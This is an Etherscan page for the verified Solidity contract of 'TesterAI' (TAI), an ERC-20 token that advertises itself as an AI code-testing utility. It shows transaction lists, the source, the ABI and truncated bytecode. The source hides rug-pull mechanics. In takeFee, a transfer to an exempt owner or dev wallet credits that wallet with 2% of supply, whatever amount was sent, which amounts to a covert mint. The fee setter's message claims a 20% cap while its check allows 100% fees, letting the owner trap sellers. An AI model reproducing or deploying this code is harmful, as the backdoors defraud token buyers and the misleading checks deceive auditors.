ETH Price: $2,131.48 (-9.12%)

Contract

0x4a09f9f226559Fa57826FD9fD56E4B2e1327065d
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve181780812023-09-20 15:45:35526 days ago1695224735IN
0x4a09f9f2...e1327065d
0 ETH0.0007043415.12093301
Approve181779772023-09-20 15:24:47526 days ago1695223487IN
0x4a09f9f2...e1327065d
0 ETH0.0007080515.22005757
Approve181777762023-09-20 14:44:23526 days ago1695221063IN
0x4a09f9f2...e1327065d
0 ETH0.0008159517.53954219
Approve181773602023-09-20 13:20:35526 days ago1695216035IN
0x4a09f9f2...e1327065d
0 ETH0.0011087423.80246544
Approve181773582023-09-20 13:20:11526 days ago1695216011IN
0x4a09f9f2...e1327065d
0 ETH0.0010003921.4765297
Approve181773502023-09-20 13:18:35526 days ago1695215915IN
0x4a09f9f2...e1327065d
0 ETH0.0007761916.68483085
Approve181773472023-09-20 13:17:59526 days ago1695215879IN
0x4a09f9f2...e1327065d
0 ETH0.0008319117.88246879
Approve181773032023-09-20 13:09:11526 days ago1695215351IN
0x4a09f9f2...e1327065d
0 ETH0.0007320215.8210701
Approve181772982023-09-20 13:08:11526 days ago1695215291IN
0x4a09f9f2...e1327065d
0 ETH0.0008202117.74551364
Approve181772892023-09-20 13:06:23526 days ago1695215183IN
0x4a09f9f2...e1327065d
0 ETH0.0012481326.79489442
Approve181772832023-09-20 13:05:11526 days ago1695215111IN
0x4a09f9f2...e1327065d
0 ETH0.001074223.09070405
Approve181772772023-09-20 13:03:59526 days ago1695215039IN
0x4a09f9f2...e1327065d
0 ETH0.0013694329.39893402
Approve181772762023-09-20 13:03:47526 days ago1695215027IN
0x4a09f9f2...e1327065d
0 ETH0.0012054925.91294595
Approve181772632023-09-20 13:01:11526 days ago1695214871IN
0x4a09f9f2...e1327065d
0 ETH0.0015577733.44235839
Approve181772422023-09-20 12:56:47526 days ago1695214607IN
0x4a09f9f2...e1327065d
0 ETH0.0009433120.40889635
Transfer181772132023-09-20 12:50:59526 days ago1695214259IN
0x4a09f9f2...e1327065d
0 ETH0.0018696625.60273996
Transfer181772072023-09-20 12:49:47526 days ago1695214187IN
0x4a09f9f2...e1327065d
0 ETH0.0015534225.04711197
Approve181772012023-09-20 12:48:35526 days ago1695214115IN
0x4a09f9f2...e1327065d
0 ETH0.0010028121.67353999
Approve181772012023-09-20 12:48:35526 days ago1695214115IN
0x4a09f9f2...e1327065d
0 ETH0.0010028121.67353999
Approve181772002023-09-20 12:48:23526 days ago1695214103IN
0x4a09f9f2...e1327065d
0 ETH0.0010526122.74994464
Approve181772002023-09-20 12:48:23526 days ago1695214103IN
0x4a09f9f2...e1327065d
0 ETH0.0010526122.74994464
Approve181772002023-09-20 12:48:23526 days ago1695214103IN
0x4a09f9f2...e1327065d
0 ETH0.0010526122.74994464
Approve181772002023-09-20 12:48:23526 days ago1695214103IN
0x4a09f9f2...e1327065d
0 ETH0.0010526122.74994464
Approve181772002023-09-20 12:48:23526 days ago1695214103IN
0x4a09f9f2...e1327065d
0 ETH0.0010526122.74994464
Approve181771962023-09-20 12:47:35526 days ago1695214055IN
0x4a09f9f2...e1327065d
0 ETH0.0009062819.45607822
View all transactions

Latest 20 internal transactions

Advanced mode:
Parent Transaction Hash Block
From
To
181773602023-09-20 13:20:35526 days ago1695216035
0x4a09f9f2...e1327065d
0.07193301 ETH
181773602023-09-20 13:20:35526 days ago1695216035
0x4a09f9f2...e1327065d
0.07193301 ETH
181773582023-09-20 13:20:11526 days ago1695216011
0x4a09f9f2...e1327065d
0.07193301 ETH
181773582023-09-20 13:20:11526 days ago1695216011
0x4a09f9f2...e1327065d
0.07193301 ETH
181772902023-09-20 13:06:35526 days ago1695215195
0x4a09f9f2...e1327065d
0.15701336 ETH
181772902023-09-20 13:06:35526 days ago1695215195
0x4a09f9f2...e1327065d
0.15701336 ETH
181771562023-09-20 12:39:35526 days ago1695213575
0x4a09f9f2...e1327065d
0.0736301 ETH
181771562023-09-20 12:39:35526 days ago1695213575
0x4a09f9f2...e1327065d
0.0736301 ETH
181771562023-09-20 12:39:35526 days ago1695213575
0x4a09f9f2...e1327065d
0.07919016 ETH
181771562023-09-20 12:39:35526 days ago1695213575
0x4a09f9f2...e1327065d
0.07919016 ETH
181771432023-09-20 12:36:59526 days ago1695213419
0x4a09f9f2...e1327065d
0.06707326 ETH
181771432023-09-20 12:36:59526 days ago1695213419
0x4a09f9f2...e1327065d
0.06707326 ETH
181771222023-09-20 12:32:47526 days ago1695213167
0x4a09f9f2...e1327065d
0.04102722 ETH
181771222023-09-20 12:32:47526 days ago1695213167
0x4a09f9f2...e1327065d
0.04102722 ETH
181771222023-09-20 12:32:47526 days ago1695213167
0x4a09f9f2...e1327065d
0.04348806 ETH
181771222023-09-20 12:32:47526 days ago1695213167
0x4a09f9f2...e1327065d
0.04348806 ETH
181771222023-09-20 12:32:47526 days ago1695213167
0x4a09f9f2...e1327065d
0.04617727 ETH
181771222023-09-20 12:32:47526 days ago1695213167
0x4a09f9f2...e1327065d
0.04617727 ETH
181771222023-09-20 12:32:47526 days ago1695213167
0x4a09f9f2...e1327065d
0.049124 ETH
181771222023-09-20 12:32:47526 days ago1695213167
0x4a09f9f2...e1327065d
0.049124 ETH
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
TAI

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-09-20
*/

// SPDX-License-Identifier: MIT

/*
TESTERAI utility token for detecting errors and vulnerabilities in the program code and their optimization and correction using TesterAI

Website: https://www.aitester.tech
Telegram: https://t.me/erc_testerai
Twitter: https://twitter.com/ethai_test
App: https://app.aitester.tech
*/

pragma solidity 0.8.19;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

interface IERC20 {
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IDFactory {
    function createPair(address tokenA, address tokenB) external returns (address dPair);
}

interface IDRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline) external;
}

abstract contract Ownable {
    address internal owner;
    constructor(address _owner) {owner = _owner;}
    modifier onlyOwner() {require(isOwner(msg.sender), "!OWNER"); _;}
    function getOwner() external view returns (address) {return owner;}
    function isOwner(address account) public view returns (bool) {return account == owner;}
    function transferOwnership(address payable adr) public onlyOwner {owner = adr; emit OwnershipTransferred(adr);}
    function renounceOwnership() public onlyOwner {owner = address(0); emit OwnershipTransferred(address(0));}
    event OwnershipTransferred(address owner);
}

contract TAI is IERC20, Ownable {
    using SafeMath for uint256;

    string private constant _name = "TesterAI";
    string private constant _symbol = "TAI";
    uint8 private constant _decimals = 9;
    uint256 private _totalsupply = 10 ** 9 * 10 ** _decimals;
    IDRouter dRouter;
    address public dPair;
    bool private inswap;
    modifier lockTheSwap {inswap = true; _; inswap = false;}
    uint256 private sellFeeMax = ( _totalsupply * 1000 ) / 100000;
    uint256 private sellFeeMin = ( _totalsupply * 10 ) / 100000;
    bool private tradeEnabled = false;
    bool private swapEnabled = true;
    uint256 private sellFeeTimes;
    uint256 private sellFeeAfter;
    uint256 private buyFee = 1600;
    uint256 private sellFee = 1600;
    uint256 private transferFee = 1600;
    uint256 private denominator = 10000;
    uint256 private liquidityFee = 0;
    uint256 private marketingFee = 0;
    uint256 private devFee = 100;
    uint256 private burnFee = 0;
    address internal devAddy = 0xF2105488e73eCa4857Bb310D373128CD27613241; 
    address internal marketingAddy = 0xF2105488e73eCa4857Bb310D373128CD27613241;
    address internal lpAddy = 0xF2105488e73eCa4857Bb310D373128CD27613241;
    address internal constant DEAD = 0x000000000000000000000000000000000000dEaD;
    
    uint256 public mTransaction = ( _totalsupply * 200 ) / 10000;
    uint256 public mTransfer = ( _totalsupply * 200 ) / 10000;
    uint256 public mWallet = ( _totalsupply * 200 ) / 10000;

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public isSpecial;

    constructor() Ownable(msg.sender) {
        IDRouter _router = IDRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        address _pair = IDFactory(_router.factory()).createPair(address(this), _router.WETH());
        dRouter = _router; dPair = _pair;
        isSpecial[lpAddy] = true;
        isSpecial[marketingAddy] = true;
        isSpecial[devAddy] = true;
        isSpecial[msg.sender] = true;
        _balances[msg.sender] = _totalsupply;
        emit Transfer(address(0), msg.sender, _totalsupply);
    }

    receive() external payable {}
    function name() public pure returns (string memory) {return _name;}
    function symbol() public pure returns (string memory) {return _symbol;}
    function allowance(address owner, address spender) public view override returns (uint256) {return _allowances[owner][spender];}
    function balanceOf(address account) public view override returns (uint256) {return _balances[account];}
    function totalSupply() public view override returns (uint256) {return _totalsupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));}
    function transfer(address recipient, uint256 amount) public override returns (bool) {_transfer(msg.sender, recipient, amount);return true;}
    function startTrading() external onlyOwner {tradeEnabled = true;}
    function decimals() public pure returns (uint8) {return _decimals;}
    function approve(address spender, uint256 amount) public override returns (bool) {_approve(msg.sender, spender, amount);return true;}
    
    function setContractSwapSettings(uint256 _swapAmount, uint256 _swapThreshold, uint256 _minTokenAmount) external onlyOwner {
        sellFeeAfter = _swapAmount; sellFeeMax = _totalsupply.mul(_swapThreshold).div(uint256(100000)); 
        sellFeeMin = _totalsupply.mul(_minTokenAmount).div(uint256(100000));
    }
    
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
    
    function _transfer(address sender, address recipient, uint256 amount) private {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount <= balanceOf(sender),"You are trying to transfer more than your balance");
        if(!isSpecial[sender] && !isSpecial[recipient]){require(tradeEnabled, "tradeEnabled");}
        if(!isSpecial[sender] && !isSpecial[recipient] && recipient != address(dPair) && recipient != address(DEAD)){
        require((_balances[recipient].add(amount)) <= mWallet, "Exceeds maximum wallet amount.");}
        if(sender != dPair){require(amount <= mTransfer || isSpecial[sender] || isSpecial[recipient], "TX Limit Exceeded");}
        require(amount <= mTransaction || isSpecial[sender] || isSpecial[recipient], "TX Limit Exceeded"); 
        if(recipient == dPair && !isSpecial[sender]){sellFeeTimes += uint256(1);}
        if(shouldContractSwap(sender, recipient, amount)){swapAndLiquidify(sellFeeMax); sellFeeTimes = uint256(0);}
        _balances[sender] = _balances[sender].sub(amount);
        uint256 amountReceived = !isSpecial[sender] ? takeFee(sender, recipient, amount) : amount;
        _balances[recipient] = _balances[recipient].add(amountReceived);
        emit Transfer(sender, recipient, amountReceived);
    }

    function setTransactionLimits(uint256 _buy, uint256 _sell, uint256 _wallet) external onlyOwner {
        uint256 newTx = _totalsupply.mul(_buy).div(10000); uint256 newTransfer = _totalsupply.mul(_sell).div(10000); uint256 newWallet = _totalsupply.mul(_wallet).div(10000);
        mTransaction = newTx; mTransfer = newTransfer; mWallet = newWallet;
        uint256 limit = totalSupply().mul(5).div(1000);
        require(newTx >= limit && newTransfer >= limit && newWallet >= limit, "Max TXs and Max Wallet cannot be less than .5%");
    }
    
    function swapAndLiquidify(uint256 tokens) private lockTheSwap {
        uint256 _denominator = (liquidityFee.add(1).add(marketingFee).add(devFee)).mul(2);
        uint256 tokensToAddLiquidityWith = tokens.mul(liquidityFee).div(_denominator);
        uint256 toSwap = tokens.sub(tokensToAddLiquidityWith);
        uint256 initialBalance = address(this).balance;
        swapTokensForETH(toSwap);
        uint256 deltaBalance = address(this).balance.sub(initialBalance);
        uint256 unitBalance= deltaBalance.div(_denominator.sub(liquidityFee));
        uint256 ETHToAddLiquidityWith = unitBalance.mul(liquidityFee);
        if(ETHToAddLiquidityWith > uint256(0)){addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith); }
        uint256 marketingAmt = unitBalance.mul(2).mul(marketingFee);
        if(marketingAmt > 0){payable(marketingAddy).transfer(marketingAmt);}
        uint256 contractBalance = address(this).balance;
        if(contractBalance > uint256(0)){payable(devAddy).transfer(contractBalance);}
    }

    function getTotalFee(address sender, address recipient) internal view returns (uint256) {
        if(recipient == dPair){return sellFee;}
        if(sender == dPair){return buyFee;}
        return transferFee;
    }
    function shouldContractSwap(address sender, address recipient, uint256 amount) internal view returns (bool) {
        bool aboveMin = amount >= sellFeeMin;
        bool aboveThreshold = balanceOf(address(this)) >= sellFeeMax;
        return !inswap && swapEnabled && tradeEnabled && aboveMin && !isSpecial[sender] && recipient == dPair && sellFeeTimes >= sellFeeAfter && aboveThreshold;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
        _approve(address(this), address(dRouter), tokenAmount);
        dRouter.addLiquidityETH{value: ETHAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            lpAddy,
            block.timestamp);
    }

    function setTransactionRequirements(uint256 _liquidity, uint256 _marketing, uint256 _burn, uint256 _development, uint256 _total, uint256 _sell, uint256 _trans) external onlyOwner {
        liquidityFee = _liquidity; marketingFee = _marketing; burnFee = _burn; devFee = _development; buyFee = _total; sellFee = _sell; transferFee = _trans;
        require(buyFee <= denominator.div(1) && sellFee <= denominator.div(1) && transferFee <= denominator.div(1), "buyFee and sellFee cannot be more than 20%");
    }

    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        if (isSpecial[recipient]) {return mTransaction;}
        if(getTotalFee(sender, recipient) > 0){
        uint256 feeAmount = amount.div(denominator).mul(getTotalFee(sender, recipient));
        _balances[address(this)] = _balances[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);
        if(burnFee > uint256(0) && getTotalFee(sender, recipient) > burnFee){_transfer(address(this), address(DEAD), amount.div(denominator).mul(burnFee));}
        return amount.sub(feeAmount);} return amount;
    }

    function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = dRouter.WETH();
        _approve(address(this), address(dRouter), tokenAmount);
        dRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp);
    }
    
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"dPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isSpecial","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"mTransaction","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"mTransfer","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"mWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_swapAmount","type":"uint256"},{"internalType":"uint256","name":"_swapThreshold","type":"uint256"},{"internalType":"uint256","name":"_minTokenAmount","type":"uint256"}],"name":"setContractSwapSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buy","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"},{"internalType":"uint256","name":"_wallet","type":"uint256"}],"name":"setTransactionLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_liquidity","type":"uint256"},{"internalType":"uint256","name":"_marketing","type":"uint256"},{"internalType":"uint256","name":"_burn","type":"uint256"},{"internalType":"uint256","name":"_development","type":"uint256"},{"internalType":"uint256","name":"_total","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"},{"internalType":"uint256","name":"_trans","type":"uint256"}],"name":"setTransactionRequirements","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"adr","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052620000126009600a620004bb565b6200002290633b9aca00620004d3565b600155620186a06001546103e86200003b9190620004d3565b620000479190620004ed565b600455620186a0600154600a6200005f9190620004d3565b6200006b9190620004ed565b6005556006805461ffff19166101001790556106406009819055600a819055600b55612710600c8190556000600d819055600e8190556064600f55601055601180546001600160a01b031990811673f2105488e73eca4857bb310d373128cd2761324190811790925560128054821683179055601380549091169091179055600154620000fa9060c8620004d3565b620001069190620004ed565b60145561271060015460c86200011d9190620004d3565b620001299190620004ed565b60155561271060015460c8620001409190620004d3565b6200014c9190620004ed565b6016553480156200015c57600080fd5b50600080546001600160a01b031916331781556040805163c45a015560e01b81529051737a250d5630b4cf539739df2c5dacb4c659f2488d9291839163c45a0155916004808201926020929091908290030181865afa158015620001c4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001ea919062000510565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000238573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200025e919062000510565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620002ac573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002d2919062000510565b600280546001600160a01b038581166001600160a01b03199283161790925560038054848416921691909117905560135481166000908152601960209081526040808320805460ff19908116600190811790925560125486168552828520805482168317905560115490951684528184208054861682179055338085528285208054909616821790955554601783528184208190559051908152939450919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350506200053b565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620003fd578160001904821115620003e157620003e1620003a6565b80851615620003ef57918102915b93841c9390800290620003c1565b509250929050565b6000826200041657506001620004b5565b816200042557506000620004b5565b81600181146200043e5760028114620004495762000469565b6001915050620004b5565b60ff8411156200045d576200045d620003a6565b50506001821b620004b5565b5060208310610133831016604e8410600b84101617156200048e575081810a620004b5565b6200049a8383620003bc565b8060001904821115620004b157620004b1620003a6565b0290505b92915050565b6000620004cc60ff84168362000405565b9392505050565b8082028115828204841417620004b557620004b5620003a6565b6000826200050b57634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156200052357600080fd5b81516001600160a01b0381168114620004cc57600080fd5b611940806200054b6000396000f3fe6080604052600436106101395760003560e01c8063893d20e8116100ab5780639d8740cb1161006f5780639d8740cb146103a6578063a9059cbb146103c6578063cb7f97d7146103e6578063dd62ed3e14610406578063df9fa4d21461044c578063f2fde38b1461046257600080fd5b8063893d20e8146102f6578063953635141461031457806395d89b411461032a5780639c6fe5fb146103565780639cc353511461038657600080fd5b80632f54bf6e116100fd5780632f54bf6e14610212578063313ce567146102415780634f3ff0991461025d57806370a0823114610273578063715018a6146102a957806383134643146102be57600080fd5b806306fdde0314610145578063095ea7b31461018857806318160ddd146101b857806323b872dd146101db578063293230b8146101fb57600080fd5b3661014057005b600080fd5b34801561015157600080fd5b50604080518082019091526008815267546573746572414960c01b60208201525b60405161017f91906115da565b60405180910390f35b34801561019457600080fd5b506101a86101a3366004611640565b610482565b604051901515815260200161017f565b3480156101c457600080fd5b506101cd610499565b60405190815260200161017f565b3480156101e757600080fd5b506101a86101f636600461166c565b61050a565b34801561020757600080fd5b50610210610574565b005b34801561021e57600080fd5b506101a861022d3660046116ad565b6000546001600160a01b0391821691161490565b34801561024d57600080fd5b506040516009815260200161017f565b34801561026957600080fd5b506101cd60145481565b34801561027f57600080fd5b506101cd61028e3660046116ad565b6001600160a01b031660009081526017602052604090205490565b3480156102b557600080fd5b506102106105b6565b3480156102ca57600080fd5b506003546102de906001600160a01b031681565b6040516001600160a01b03909116815260200161017f565b34801561030257600080fd5b506000546001600160a01b03166102de565b34801561032057600080fd5b506101cd60165481565b34801561033657600080fd5b5060408051808201909152600381526254414960e81b6020820152610172565b34801561036257600080fd5b506101a86103713660046116ad565b60196020526000908152604090205460ff1681565b34801561039257600080fd5b506102106103a13660046116ca565b610625565b3480156103b257600080fd5b506102106103c13660046116ca565b610766565b3480156103d257600080fd5b506101a86103e1366004611640565b6107cc565b3480156103f257600080fd5b506102106104013660046116f6565b6107d9565b34801561041257600080fd5b506101cd610421366004611742565b6001600160a01b03918216600090815260186020908152604080832093909416825291909152205490565b34801561045857600080fd5b506101cd60155481565b34801561046e57600080fd5b5061021061047d3660046116ad565b6108ce565b600061048f33848461094c565b5060015b92915050565b60176020527fd840e16649f6b9a295d95876f4633d3a6b10b55e8162971cf78afd886d5ec89b5461dead60009081527f43fedf50e12e5c047fbe3576d03ab50250348e9a6030f531ab6d4ce10f5b03035460015491926105059290916104ff9190610a70565b90610a70565b905090565b6000610517848484610a7c565b6105698433610564856040518060600160405280602881526020016118e3602891396001600160a01b038a1660009081526018602090815260408083203384529091529020549190610fc5565b61094c565b5060015b9392505050565b6000546001600160a01b031633146105a75760405162461bcd60e51b815260040161059e9061177b565b60405180910390fd5b6006805460ff19166001179055565b6000546001600160a01b031633146105e05760405162461bcd60e51b815260040161059e9061177b565b600080546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b6000546001600160a01b0316331461064f5760405162461bcd60e51b815260040161059e9061177b565b600061067261271061066c86600154610ff190919063ffffffff16565b90610ffd565b9050600061069161271061066c86600154610ff190919063ffffffff16565b905060006106b061271061066c86600154610ff190919063ffffffff16565b601484905560158390556016819055905060006106dc6103e861066c60056106d6610499565b90610ff1565b90508084101580156106ee5750808310155b80156106fa5750808210155b61075d5760405162461bcd60e51b815260206004820152602e60248201527f4d61782054587320616e64204d61782057616c6c65742063616e6e6f7420626560448201526d206c657373207468616e202e352560901b606482015260840161059e565b50505050505050565b6000546001600160a01b031633146107905760405162461bcd60e51b815260040161059e9061177b565b60088390556001546107ab90620186a09061066c9085610ff1565b6004556001546107c490620186a09061066c9084610ff1565b600555505050565b600061048f338484610a7c565b6000546001600160a01b031633146108035760405162461bcd60e51b815260040161059e9061177b565b600d879055600e8690556010859055600f8490556009839055600a829055600b819055600c54610834906001610ffd565b600954111580156108545750600c5461084e906001610ffd565b600a5411155b801561086f5750600c54610869906001610ffd565b600b5411155b61075d5760405162461bcd60e51b815260206004820152602a60248201527f62757946656520616e642073656c6c4665652063616e6e6f74206265206d6f7260448201526965207468616e2032302560b01b606482015260840161059e565b6000546001600160a01b031633146108f85760405162461bcd60e51b815260040161059e9061177b565b600080546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b0383166109ae5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161059e565b6001600160a01b038216610a0f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161059e565b6001600160a01b0383811660008181526018602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600061056d82846117b1565b6001600160a01b038316610ae05760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161059e565b6001600160a01b038216610b425760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161059e565b6001600160a01b038316600090815260176020526040902054811115610bc45760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b606482015260840161059e565b6001600160a01b03831660009081526019602052604090205460ff16158015610c0657506001600160a01b03821660009081526019602052604090205460ff16155b15610c4c5760065460ff16610c4c5760405162461bcd60e51b815260206004820152600c60248201526b1d1c985919515b98589b195960a21b604482015260640161059e565b6001600160a01b03831660009081526019602052604090205460ff16158015610c8e57506001600160a01b03821660009081526019602052604090205460ff16155b8015610ca857506003546001600160a01b03838116911614155b8015610cbf57506001600160a01b03821661dead14155b15610d38576016546001600160a01b038316600090815260176020526040902054610cea9083611009565b1115610d385760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e0000604482015260640161059e565b6003546001600160a01b03848116911614610dd95760155481111580610d7657506001600160a01b03831660009081526019602052604090205460ff165b80610d9957506001600160a01b03821660009081526019602052604090205460ff165b610dd95760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b604482015260640161059e565b60145481111580610e0257506001600160a01b03831660009081526019602052604090205460ff165b80610e2557506001600160a01b03821660009081526019602052604090205460ff165b610e655760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b604482015260640161059e565b6003546001600160a01b038381169116148015610e9b57506001600160a01b03831660009081526019602052604090205460ff16155b15610eb957600160076000828254610eb391906117c4565b90915550505b610ec4838383611015565b15610eda57610ed46004546110cd565b60006007555b6001600160a01b0383166000